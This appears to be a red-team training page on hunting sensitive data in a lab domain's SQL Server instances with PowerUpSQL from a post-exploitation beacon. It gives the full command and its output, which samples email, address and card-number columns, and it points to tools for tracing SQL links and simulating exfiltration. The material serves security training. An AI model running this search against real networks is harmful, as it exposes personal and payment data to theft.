Databases

PowerUpSQL provides various cmdlets designed for data searching and extraction. One such cmdlet is Get-SQLColumnSampleDataThreaded, which can search one or more instances for databases that contain particular keywords in the column names.

beacon> powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "email,address,credit,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize

Instance                     Database Column                   Sample                  
--------                     -------- ------                   ------                  
sql-2.dev.cyberbotic.io,1433 master   email                    ritzhaki0@gov.uk        
sql-2.dev.cyberbotic.io,1433 master   email                    ldureden1@angelfire.com 
sql-2.dev.cyberbotic.io,1433 master   email                    gfaussett2@quantcast.com
sql-2.dev.cyberbotic.io,1433 master   email                    bcrumb3@cpanel.net      
sql-2.dev.cyberbotic.io,1433 master   email                    ldirkin4@123-reg.co.uk  
sql-2.dev.cyberbotic.io,1433 master   address                  5575 8th Plaza          
sql-2.dev.cyberbotic.io,1433 master   address                  759 Schmedeman Avenue   
sql-2.dev.cyberbotic.io,1433 master   address                  077 Menomonie Parkway   
sql-2.dev.cyberbotic.io,1433 master   address                  99 Gerald Street        
sql-2.dev.cyberbotic.io,1433 master   address                  150 Raven Court         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374288069616869         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374288681554928         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374283595554411         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374283532455854         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374288154929482         

\

This can only search the instances you have direct access to; it won't traverse any SQL links. To search over the links use Get-SQLQuery.

\

Note the "employees" table. Next, list its columns.

\

Then finally, take a data sample.

\

If this is real data, don't extract multiple columns that can be correlated together. As in this example, take a sample of a column that doesn't really mean anything in isolation. To simulate data exfiltration of large dataset, have a look at Egress Assess.

Last updated